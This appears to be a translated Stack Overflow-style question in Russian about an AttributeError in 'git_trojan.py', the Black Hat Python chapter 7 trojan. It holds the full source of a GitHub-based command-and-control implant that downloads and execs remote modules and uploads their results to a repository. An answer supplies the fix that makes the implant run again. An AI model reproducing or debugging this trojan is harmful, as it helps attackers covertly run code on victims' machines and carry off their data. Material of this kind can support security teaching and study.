Что это за AttributeError: recurse? Связанная черная шляпа python chapter7 github command and control

[Моя среда разработки]

root@kali:~# python

Python 2.7.3 (default, Mar 14 2014, 11:57:14) 

[GCC 4.7.2] on linux2

Ссылочный URL

[Это пример исходного кода]

git_trojan.py

import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

from github3 import login

trojan_id = "abc"

trojan_config = "%s.json" % trojan_id
data_path     = "data/%s/" % trojan_id
trojan_modules= []

task_queue    = Queue.Queue()
configured    = False

class GitImporter(object):

    def __init__(self):

        self.current_module_code = ""


    def find_module(self,fullname,path=None):

        if configured:
            print("[*] Attempting to retrieve %s" % fullname)
            new_library = get_file_contents("modules/%s" % fullname)

            if new_library is not None:
                self.current_module_code = base64.b64decode(new_library)
                return self


        return None

    def load_module(self,name):

        module = imp.new_module(name)

        exec self.current_module_code in module.__dict__

        sys.modules[name] = module

        return module



def connect_to_github():

    gh = login(username = "yourusername",password = "password")

    repo = gh.repository("yourusername","chapter7")

    branch = repo.branch("master")    


    return gh,repo,branch


def get_file_contents(filepath):

    gh,repo,branch = connect_to_github()

    tree = branch.commit.commit.tree.recurse()

    for filename in tree.tree:

         if filepath in filename.path:
            print("[*] Found file %s" % filepath)

            blob = repo.blob(filename._json_data['sha'])

            return blob.content

    return None

def get_trojan_config():

    global configured

    config_json   = get_file_contents(trojan_config)
    config        = json.loads(base64.b64decode(config_json))
    configured    = True

    for task in config:

        if task['module'] not in sys.modules:

            exec("import %s" % task['module'])

    return config

def store_module_result(data):

    gh,repo,branch = connect_to_github()

    remote_path = "data/%s/%d.data" %(trojan_id,random.randint(1000,100000))

    repo.create_file(remote_path,"Commit message",base64.b64encode(data))

    return

def module_runner(module):

    task_queue.put(1)
    result = sys.modules[module].run()
    task_queue.get()

    # store the result in our repo
    store_module_result(result)

    return


# main trojan loop    
sys.meta_path = [GitImporter()]

while True:

    if task_queue.empty():

        config = get_trojan_config()

        for task in config:
            t = threading.Thread(target=module_runner,args(task['module'],))
            t.start()
            time.sleep(random.randint(1,10))

    time.sleep(random.randint(1000,10000))

[Это ошибка]

Traceback (most recent call last):
  File "trojan.py", line 122, in <module>
     config = get_trojan_config()
  File "trojan.py", line 81, in get_trojan_config
    config_json   = get_file_contents(trojan_config)
  File "trojan.py", line 65, in get_file_contents
    tree = branch.commit.commit.tree.recurse()
   File "/usr/local/lib/python2.7/dist-packages/github3/models.py", line 58, 
 in __getattr__
     raise AttributeError(attribute)
AttributeError: recurse

Как я могу исправить эту ошибку?

Исключение довольно очевидно: когда ваш код выполняет tree = branch.commit.commit.tree.recurse(), он каким-то образом испорчен, поскольку branch.commit.commit.tree не имеет метода recurse. Я понятия не имею, что эта строка должна делать, и чтение документации модуля github3 совершенно не помогло (там действительно плохие документы).

Blckknght 29.05.2018 00:27

Есть ли способ заменить recurse ()? или как получить и перечислить все файлы из репозитория github в новой версии github3.py (0.9.3v, 1.1.0v)?

0000 00 29.05.2018 07:35
Почему в Python есть оператор "pass"?
Почему в Python есть оператор "pass"?
Оператор pass в Python - это простая концепция, которую могут быстро освоить даже новички без опыта программирования.
Некоторые методы, о которых вы не знали, что они существуют в Python
Некоторые методы, о которых вы не знали, что они существуют в Python
Python - самый известный и самый простой в изучении язык в наши дни. Имея широкий спектр применения в области машинного обучения, Data Science,...
Основы Python Часть I
Основы Python Часть I
Вы когда-нибудь задумывались, почему в программах на Python вы видите приведенный ниже код?
LeetCode - 1579. Удаление максимального числа ребер для сохранения полной проходимости графа
LeetCode - 1579. Удаление максимального числа ребер для сохранения полной проходимости графа
Алиса и Боб имеют неориентированный граф из n узлов и трех типов ребер:
Оптимизация кода с помощью тернарного оператора Python
Оптимизация кода с помощью тернарного оператора Python
И последнее, что мы хотели бы показать вам, прежде чем двигаться дальше, это
Советы по эффективной веб-разработке с помощью Python
Советы по эффективной веб-разработке с помощью Python
Как веб-разработчик, Python может стать мощным инструментом для создания эффективных и масштабируемых веб-приложений.
2
2
468
1

Ответы 1

Почему-то убрали атрибут recurse() в объекте CommitTree(). ты должен изменить

tree = branch.commit.commit.tree.recurse()

к

tree = branch.commit.commit.tree.to_tree().recurse()

Это должно решить проблему

Другие вопросы по теме